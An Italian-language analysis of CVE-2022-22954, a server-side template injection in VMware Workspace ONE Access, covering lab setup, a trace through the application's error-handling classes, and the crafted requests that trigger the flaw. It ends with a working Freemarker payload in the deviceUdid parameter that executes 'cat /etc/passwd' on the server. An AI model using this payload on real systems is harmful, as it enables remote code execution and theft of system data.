
CVE-2022-22954 analista
Workspace ONE Access (modello di erogazione del workspace come servizio) fornisce autenticazione multi-fattore, single sign-on e accesso condizionato per SaaS, applicazioni web e mobile. CVE-2022-22954 è una vulnerabilità di Server-side Template Injection presente nei prodotti:
Scaricare il file ova di VMware Workspace ONE Access Appliance versione 21.08.0.1
Aprire il file con VMware Workstation; la macchina virtuale deve essere posizionata sulla rete NAT
In Networking Properties, è necessario configurare l'Host Name (FQDN)

Al termine del processo di installazione, accedere al percorso https://{{hostname}}:8443/ per procedere con la configurazione della password dell'account dell'applicazione, della password dell'account ssh e del database dell'applicazione L'applicazione viene eseguita su https://{{hostname}}/

Accedere alla macchina virtuale tramite l'account sshuser, passare all'account root Individuare il percorso dell'applicazione in /opt/vmware/horizon/workspace/ Il codice sorgente dell'applicazione si trova nella directory /opt/vmware/horizon/workspacce/webapps

Controllare il file /opt/vmware/horizon/workspace/bin/setenv.sh: si nota che la variabile JAVA_OPTS può essere configurata per il remote debug

Aggiungere -agentlib:jdwp=transport=dt_socket,server=y,address=5005,suspend=n a JAVA_OPTS e riavviare il servizio
`systemctl restart horizon-workspace.service`
Scaricare il file hotfix HW-154129-applyWorkaround.py
Nella procedura, c'è un passaggio che rimuove il file templates/customError.ftl dall'applicazione.

Nel file customError.ftl esiste la funzione eval. L'errore Freemarker SSTI può essere sfruttato da qui se è possibile controllare il valore errorObj.


Nella classe com.vmware.enusercatalog.ui.web.UiErrorController, vediamo che la funzione handleGenericError assegna il valore a errorObj tramite la variabile errorMessage

Continuiamo a seguire le chiamate di funzione e il parametro errorMessage
Funzione handleUnauthorizedError

Funzione getErrorPage

Nelle due funzioni sendError e sendUnhandledError, il valore di errorMessage viene prelevato dalla proprietà javax.servlet.error.message


Nella classe com.vmware.endusercatalog.ui.web.UiApplicationExceptionResolver, la proprietà javax.servlet.error.message”* viene valorizzata nella funzione resolverExeption

La funzione handleAnyGenericExeption è annotata con @ExeptionHandler

Nella classe com.vmware.endusercatalog.ui.UiApplication, tra i pacchetti marcati con @CommponentScan c'è com.vmware.endusercatalog.auth

=> Le eccezioni in questo pacchetto possono essere intercettate dalla funzione handleAnyGenericExeption
In com.vmware.endusercatalog.ui.config, l'interceptor AuthContextPopilationInterceptor viene aggiunto con i percorsi /ui, /hub-ui, /hub-ui/byob, /logout, /ui/oauth/verify


Passando alla classe com.vmware.endusercatalog.auth.interceptor.AuthContextPopulationInterceptor, nella funzione preHandle, l'applicazione riceve i due parametri deviceUdid e deviceType e chiama la funzione authContextBuilder

Nella classe com.vmware.endusercatalog.auth.interceptor.AuthContext, l'eccezione InvalidAuthContextException viene generata se la condizione this.isValidRequest non è soddisfatta


Affinché isValidRequest sia soddisfatta, i due parametri this.deviceId e this.deviceType devono essere entrambi vuoti oppure entrambi valorizzati

=> trasmettere un valore per uno solo dei due parametri farà comparire un errore qui

Inviare la richiesta
GET /catalog-portal/ui/oauth/verify?deviceUdid=111
compare l'errore
An unexpected error occurred while processing request with requestId: {0}.
Tornando alla funzione com.vmware.endusercatalog.ui.web.WorkspaceOauth2CodeVerificationController, si nota che l'errore sopra compare a causa della mancanza del parametro richiesto error
@GetMapping(
value = {"/ui/oauth/verify"},
params = {"error"}
)
@ApiOperation(
value = "authorizeError",
notes = ""
)
public void authorizeError(@ApiParam @RequestParam String error, @ApiParam @RequestParam(name = "error_description") String errorDescription, @ApiParam @RequestParam(defaultValue = "/admin/") String state) {
LOGGER.debug("Failed to obtain authorization code due to {}:{} received for {}", new Object[]{error, errorDescription, state});
throw new AuthorizationCodeFailedRetrievalException(new Object[]{error, state});
}
Inviare di nuovo la richiesta
GET /catalog-portal/ui/oauth/verify?error=&deviceUdid=111abc
il valore di deviceUdid compare nella risposta

Inserire il parametro che causa l'errore SSTI di Freemarker

Inviare la richiesta con il valore
deviceUdid=${"freemarker.template.utility.Execute"?new()("cat /etc/passwd")}

